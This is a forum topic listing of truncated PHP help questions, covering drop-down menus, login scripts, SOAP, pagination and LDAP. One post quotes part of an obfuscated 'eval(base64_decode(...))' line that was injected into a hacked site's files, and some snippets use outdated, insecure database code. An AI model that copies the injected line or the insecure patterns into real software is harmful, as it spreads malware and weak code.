39,392 Topics

Member Avatar for
Member Avatar for loveisblind

Hi everybody. Thus far. I have successfully created a drop down menu. What I want is for someone to choose a selection from the drop down list in admin_page.php and click the Status button to view the status of the option chosen. For now, I created a status button that …

Member Avatar for venkat0904
0
148
Member Avatar for manishmannan

Hello Every one is there any body who could help me on how to open a doc file and how to read its content thanks in advance

Member Avatar for manishmannan
0
172
Member Avatar for willbreaths

[CODE]<?php $host="localhost"; // Host name $username=""; // Mysql username $password=""; // Mysql password $db_name=""; // Database name $tbl_name="user"; // Table name mysql_connect("$host", "$username", "$password")or die("cannot connect"); mysql_select_db("$db_name")or die("cannot select DB"); $myusername=$_POST['myusername']; $mypassword=$_POST['mypassword']; $time = time(); $check = $_POST['checkbox']; $myusername = stripslashes($myusername); $mypassword = stripslashes($mypassword); $myusername = mysql_real_escape_string($myusername); $mypassword = mysql_real_escape_string($mypassword); …

Member Avatar for glycerine
0
619
Member Avatar for hapizi84

I Found a problem on my site and when i compare the files on the server with my local files i found that every page (*.js or *.php) has this line on it <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKC or a javascript line so i knew that my site has been hacked.. so 1 …

Member Avatar for glycerine
0
272
Member Avatar for K0ns3rv

Hello guys. I am faced with an serious issue in my current project. I have this form, when the user submits it I create an array via javascript which is then encoded in with JSONstring.make(). The data is sent to php via ajax, the problem is that sometimes, I havn't …

Member Avatar for diafol
0
134
Member Avatar for forwardlookguy

Hello everyone, I've been trying to build a website with a VIN decoder for a few weeks now and I'm getting no where. I have no experience with PHP but have been doing a lot of reading. My question is how do I split a form into different pieces that …

Member Avatar for dazm39
-1
2K
Member Avatar for Book38

I have a string in my main index that looks like this: [CODE]if (is_sticky()) { echo " id='sticky' "; } echo ">";[/CODE] What this does is post info like a "Sticky" in a format like the thread of a forum at the very top of the list. It does this …

Member Avatar for kireol
0
226
Member Avatar for samarudge

Hi guys, So I am developing a website which will allow users to comment on things. As part of this I need to display a comment count and I wanted to know what you thought was the best way of doing this: The two options are Every hour/day run a …

Member Avatar for tchaves
0
111
Member Avatar for =OTS=G-Man

Hello, Got a question for you all. I have a mass email script that sends emails out in a round robin using 15 unchecked email address (GoDaddy only allows something like 250 emails a day per address). The problem I have is if an email bounces back it goes to …

Member Avatar for almostbob
0
192
Member Avatar for bhanu1225

Hi Freaks ... I need information regarding the webpage designing through PHP. I want the specs for designing a web page through PHP with a backend by which i can easily go through and it would be user friendly.

Member Avatar for almostbob
-1
83
Member Avatar for genieuk

Hi, I have the following regex pattern. I don't think there is anything wrong with it. It seems to work when i test but if someone sees anything wrong with it please feel free to tell me. I don't know Regex but managed to put a username validator together as …

Member Avatar for Kruptein
0
109
Member Avatar for muralibobby2015

can any body explain what is the use of csv files in php. i know it is used for export db as a xls files . in excel we can change the extension as .csv.

Member Avatar for almostbob
0
70
Member Avatar for 68kb_

hello every one this is my first post in the daniweb today i found this index of free open source PHP Class Scripts [URL="http://www.jooria.com/scripts/PHP-Class-Scripts-129/"]the index here[/URL]

Member Avatar for =OTS=G-Man
0
94
Member Avatar for venkat0904

Hi all, I am thinking of a login system which can retrieve user credentials from: i) DB ii) LDAP iii) XML essentially a configurable one.. Like when u choose to get credentials from DB, u can specify the table name and columns to get the value from... similarly for others.. …

Member Avatar for venkat0904
0
76
Member Avatar for charles07

Hi Friends Iam trying to customize a php based blog(lifetype-1.2.9). I want to change its header and add some horizontal menus into it. Could someone tell which file shd i edit for this. There are 100s of file in the folder. Thanks in advance Any help is appreciated Regards charles

Member Avatar for samarudge
0
53
Member Avatar for jencee

I have searched the forums here and while there are similar problems going around, mine is different from what I've seen. First, I will say that I have yet to do sessions OR injection protection. This is a project for school so those things will come last; the most important …

Member Avatar for nav33n
0
118
Member Avatar for tchaves

Hi everyone, Daniweb has helped me a lot in the past and for once I haven't found the solution in a previous thread. Here is my issue. I simply cannot figure out what to do to send/receive XML using PHP SOAP functions. It sounds simple enough, but I have been …

Member Avatar for pritaeas
0
144
Member Avatar for futhonguy

Hi i found this script from google search (PHPSense) on pagination. It's a wonderful script. However i wasnt able to do search query on this script. Can anyone help me to figure out how i should go about to modify this script if my search query contains WHEREBY field LIKES …

Member Avatar for futhonguy
0
419
Member Avatar for gdp_87

Hi i am new to php and am trying to sort out the update part of this script. What should happen is the record is selected using the drop down box, changes are made to the required fields and changes are saved. What current happens is i edit the record, …

Member Avatar for Atli
0
80
Member Avatar for kindrasdesigns

[CODE]<?php /*subject and estimate*/ $emailSubject = 'Estimate scripting!' ; $webMaster = 'kindra@kindrasdesigns.com'; /*Gathering Data Varibles*/ $nameField = $_POST['name']; $addressField = $_POST['address']; $citystzipField = $_POST['citystzip']; $phoneField = $_POST['phone']; $emailField = $_POST['email']; $cleantimeField = $_POST['cleantime']; $cleantypeField = $_POST['cleantype']; $dwelltypeField = $_POST['dwelltype']; $sqfootField = $_POST['sqfoot']; $occupField = $_POST['occup']; $insidepetsField = $_POST['insidepets']; $pettypeField = …

Member Avatar for jbennet
0
111
Member Avatar for OmniX

Hi People I would like to get an sql statement that uses LIMIT and OFFSET and then sorts the results in ASC or DESC order through the user of ORDER BY, something like this: [code] SELECT * FROM table LIMIT 10 OFFSET 0 ORDER BY DESC [/code] Note: that does …

Member Avatar for rajabhaskar525
0
237
Member Avatar for phpp

I have a txt file and format is like this First line: qinetiq, sarah, sarah, qinetiq, stacey, qinetiq, sarah, stacey Second line: stacey, qinetiq, sarah, stacey, stacey, qinetiq, sarah, qinetiq I am trying to count the number of times, it has "sarah", "stacey" and "qinetiq" The code finds the first …

Member Avatar for tchaves
0
222
Member Avatar for phpuser

Hello friends, I am doing one project in which i need to find currently online users.how can i ? is there any way ? another thing , if i fetch user login history in DB table and check from there if user currently login or not then there will be …

Member Avatar for MDGM
0
116
Member Avatar for Hummdis

I've been going through some PHP code for an open source applications and I've been seeing a lot of use of the "@" symbol in front of functions. For example: [code=php] if (!@copy($_FILE['attachment'], $dest)) { return $error['failed']; } [/code] My question is: what is the "@" symbol in front of …

Member Avatar for Hummdis
0
163
Member Avatar for daryll1

Sorry if I don't make this too clear, what I'm doing is creating a text based adventure game in PHP, a lot like Colossal Cave. I do not want to recreate my databases for every user so I hoping to write all the user date into a file and read …

Member Avatar for daryll1
0
127
Member Avatar for valonesal

Ok I have this little bit of code. [CODE]<?php $con = mysql_connect("localhost","dbusername","pass"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("dbname", $con); $result = mysql_query("SELECT * FROM tb_comments"); while($row = mysql_fetch_array($result)) { echo $row['sku'] . " " . $row['name']; echo "<br />"; } mysql_close($con); ?> [/CODE] What I …

Member Avatar for valonesal
0
96
Member Avatar for dbarkman

Hey there, I'm writing a PHP application that will use an LDAP server to authenticate. The LDAP server requires me to use a privileged DN/bindDN before I can authenticate my user. I can do the first bind, using the privileged user settings provided, but then how do I authenticate my …

Member Avatar for kireol
0
147
Member Avatar for Squidge

Hello evryone. I am new to PHP and MySQL. I have created an admin area for where selected people can add, delete, and edit data from a database. I have managed to get the add, and delete to work, but I am stuck with the editing. Can you help? [CODE]<!DOCTYPE …

Member Avatar for diafol
0
147
Member Avatar for changeco

I tweaked a search script I found months ago, and am now getting back around to fixing it... I need some help debugging it... [code] if(isset($_GET['search'])) { $search = $_GET['search']; } $search = trim($search); $search = preg_replace('/\s+/', ' ', $search); $keywords = explode(" ", $search); $keywords = array_diff($keywords, array("")); if …

Member Avatar for diafol
0
102
Member Avatar for morecrab

:) How do i send email with php Is there some computer configuration needed too for this purpose [U]Please reply.. urgent[/U]

Member Avatar for refrost
0
97

The End.